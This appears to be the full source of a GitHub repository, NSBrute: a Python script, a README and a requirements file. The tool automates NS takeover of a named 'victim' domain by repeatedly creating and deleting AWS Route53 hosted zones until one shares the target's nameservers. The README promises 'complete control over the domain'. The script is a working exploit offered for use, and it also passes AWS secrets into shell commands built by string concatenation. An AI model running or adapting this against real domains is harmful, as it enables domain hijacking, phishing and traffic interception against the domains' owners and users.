├── NSBrute.py ├── README.md └── requirements.txt /NSBrute.py: -------------------------------------------------------------------------------- 1 | import route53 2 | import sys 3 | import time 4 | import traceback 5 | import dns.resolver 6 | import subprocess 7 | import json 8 | import ast 9 | 10 | accessKey="" 11 | secretKey="" 12 | victimDomain="" 13 | targetNS=[] 14 | nsRecord=0 15 | 16 | 17 | class bcolors: 18 | TITLE = '\033[95m' 19 | OKBLUE = '\033[94m' 20 | OKGREEN = '\033[92m' 21 | INFO = '\033[93m' 22 | OKRED = '\033[91m' 23 | ENDC = '\033[0m' 24 | BOLD = '\033[1m' 25 | BGRED = '\033[41m' 26 | UNDERLINE = '\033[4m' 27 | FGWHITE = '\033[37m' 28 | FAIL = '\033[95m' 29 | 30 | 31 | def myPrint(text, type): 32 | if(type=="INFO"): 33 | print bcolors.INFO+text+bcolors.ENDC+"\n" 34 | return 35 | if(type=="INFO_WS"): 36 | print bcolors.INFO+text+bcolors.ENDC 37 | return 38 | if(type=="ERROR"): 39 | print bcolors.BGRED+bcolors.FGWHITE+bcolors.BOLD+text+bcolors.ENDC 40 | return 41 | if(type=="MESSAGE"): 42 | print bcolors.TITLE+bcolors.BOLD+text+bcolors.ENDC+"\n" 43 | return 44 | if(type=="INSECURE_WS"): 45 | print bcolors.OKRED+bcolors.BOLD+text+bcolors.ENDC 46 | return 47 | if(type=="OUTPUT"): 48 | print bcolors.OKBLUE+bcolors.BOLD+text+bcolors.ENDC+"\n" 49 | return 50 | if(type=="OUTPUT_WS"): 51 | print bcolors.OKBLUE+bcolors.BOLD+text+bcolors.ENDC 52 | return 53 | if(type=="SECURE"): 54 | print bcolors.OKGREEN+bcolors.BOLD+text+bcolors.ENDC 55 | 56 | #python NSBrute.py -d domain -a accessKey -s secretKey -ns a,b,c,d -f 57 | 58 | zones_to_keep = [] 59 | forceDelete = False 60 | 61 | if (len(sys.argv)<7): 62 | myPrint("Please provide the required arguments to initiate scanning.", "ERROR") 63 | print "" 64 | myPrint("Usage: python NSTakeover.py -d domain -a accessKey -s secretKey","ERROR") 65 | myPrint("Please try again!!", "ERROR") 66 | print "" 67 | exit(1); 68 | if (sys.argv[1]=="-d" or sys.argv[1]=="--domain"): 69 | victimDomain=sys.argv[2] 70 | if (sys.argv[3]=="-a" or sys.argv[3]=="--accessId"): 71 | accessKey=sys.argv[4] 72 | if (sys.argv[5]=="-s" or sys.argv[5]=="--secretKey"): 73 | secretKey=sys.argv[6] 74 | if len(sys.argv) >= 8: 75 | if (sys.argv[7]=="-f" or sys.argv[7]=="--forceDelete"): 76 | forceDelete = True 77 | try: 78 | nsRecords = dns.resolver.query(victimDomain, 'NS') 79 | except: 80 | myPrint("Unable to fetch NS records for "+victimDomain+"\nPlease check the domain name and try again.","ERROR") 81 | exit(1) 82 | isInt= isinstance(nsRecords,int) 83 | if isInt and nsRecords==0: 84 | myPrint("No NS records found for "+victimDomain+"\nPlease check the domain name and try again.","ERROR") 85 | exit(1) 86 | for nameserver in nsRecords: 87 | targetNS.append(str(nameserver)) 88 | 89 | #strip leading and trailing spaces 90 | for index in range(len(targetNS)): 91 | targetNS[index]=targetNS[index].strip() 92 | #strip trailing . 93 | targetNS[index]=targetNS[index].strip(".") 94 | 95 | conn = route53.connect( 96 | aws_access_key_id=accessKey, 97 | aws_secret_access_key=secretKey, 98 | ) 99 | 100 | created_zones = [] 101 | successful_zone = [] 102 | counter=0 103 | try: 104 | 105 | while True: 106 | counter=counter+1 107 | myPrint("Iteration Count: "+str(counter),"INFO_WS") 108 | try: 109 | new_zone=0 110 | new_zone, change_info = conn.create_hosted_zone( 111 | # in honor of bagipro, we love your reports, we hope you never stop researching and participating in bug bounty 112 | victimDomain, comment='zaheck' 113 | ) 114 | hosted_zone_id = new_zone.__dict__["id"] 115 | created_zones.append(hosted_zone_id) 116 | #Erroneous Condition 117 | if new_zone is None: 118 | continue 119 | nsAWS=new_zone.nameservers 120 | myPrint("Created a new zone with following NS: ","INFO_WS") 121 | myPrint(" ".join(nsAWS),"INFO_WS") 122 | intersection=set(nsAWS).intersection(set(targetNS)) 123 | if(len(intersection)==0): 124 | myPrint("No common NS found, deleting new zone","ERROR") 125 | print "" 126 | new_zone.delete() 127 | else: 128 | myPrint("Successful attempt after "+str(counter)+" iterations.","SECURE") 129 | myPrint("Check your AWS account, the work is done!","SECURE") 130 | print "This is the hijacked Zone ID: " + str(hosted_zone_id) 131 | hijacked_zone = next(iter(intersection)) 132 | print "This is the zone you hijacked: " + str(hijacked_zone) 133 | successful_zone.append(hosted_zone_id) 134 | created_zones.remove(hosted_zone_id) 135 | print "" 136 | break 137 | except Exception as e: 138 | myPrint("Exceptional behaviour observed while creating the zone.", "ERROR") 139 | myPrint("Trying Again!","ERROR") 140 | if new_zone != 0: 141 | new_zone.delete() 142 | continue 143 | 144 | except KeyboardInterrupt: 145 | if forceDelete and len(created_zones) != 0: 146 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 list-hosted-zones" 147 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) 148 | stdout,stderr = out.communicate() 149 | json_data = None 150 | 151 | if stdout != 'false': 152 | json_data = json.loads(stdout) 153 | 154 | zones_to_be_removed = [] 155 | zones_for_account = [] 156 | 157 | for zone in json_data["HostedZones"]: 158 | zones_for_account.append(str(zone["Id"].replace("/hostedzone/",""))) 159 | 160 | if len(successful_zone) != 0: 161 | if successful_zone[0] in created_zones: 162 | created_zones.remove(successful_zone[0]) 163 | 164 | for zone in created_zones: 165 | if zone in zones_for_account: 166 | zones_to_be_removed.append(zone) 167 | 168 | for zone in zones_to_be_removed: 169 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 delete-hosted-zone --id " + str(zone) 170 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) 171 | stdout,stderr = out.communicate() 172 | 173 | else: 174 | exit() 175 | 176 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 list-hosted-zones" 177 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) 178 | stdout,stderr = out.communicate() 179 | json_data = None 180 | 181 | if stdout != 'false': 182 | json_data = json.loads(stdout) 183 | 184 | zones_to_be_removed = [] 185 | zones_for_account = [] 186 | 187 | for zone in json_data["HostedZones"]: 188 | zones_for_account.append(str(zone["Id"].replace("/hostedzone/",""))) 189 | 190 | if len(successful_zone) != 0: 191 | if successful_zone[0] in created_zones: 192 | created_zones.remove(successful_zone[0]) 193 | 194 | for zone in created_zones: 195 | if zone in zones_for_account: 196 | zones_to_be_removed.append(zone) 197 | 198 | for zone in zones_to_be_removed: 199 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 delete-hosted-zone --id " + str(zone) 200 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) 201 | stdout,stderr = out.communicate() 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NSBrute 2 | NSBrute is a command line utility built using Python that allows you to gain access to the vulnerable domain by exploiting NS Takeover vulnerability. If you want to know about NS Takeover feel free to refer [this](https://medium.com/@shivsahni2/aws-ns-takeover-356d2a293bca). 3 | 4 | ## Prerequisites 5 | * Programmatic access to AWS account 6 | * Support for Python 2.7 7 | 8 | 9 | ## Executing 10 | 11 | Clone the repo 12 | ``` 13 | git clone https://github.com/shivsahni/NSBrute.git 14 | ``` 15 | Install the dependencies 16 | ``` 17 | pip install -r requirements.txt 18 | ``` 19 | 20 | Once the script is cloned, and the requirements have been successfully installed, run the script using your AWS Access Key and Secret Key as shown below: 21 | ```bash 22 | python NSBrute.py -d domain -a accessKey -s secretKey 23 | 24 | ``` 25 | If you want to force delete the failed zones you made during testing, you can ran a command similar to this (provide a `-f` at the end): 26 | ```bash 27 | python NSBrute.py -d domain -a accessKey -s secretKey -f 28 | ``` 29 | 30 | The script would be indefinitely creating the zones for the vulnerable domains in your AWS account until it finds a zone with a common nameserver. 31 | 32 | 33 | 34 | Once the script creates a zone with a common nameserver you can log in to your AWS account to create the resource records for the domain to have the complete control over the domain. 35 | 36 | 37 | 38 | If you want to terminate the script while it is still running, control + c will cause it to stop running and you will be prompted to provide `y` to force delete any stale hosted zones or literally any other character sequence to just quit immediately. 39 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | route53 2 | traceback2 3 | 4 | --------------------------------------------------------------------------------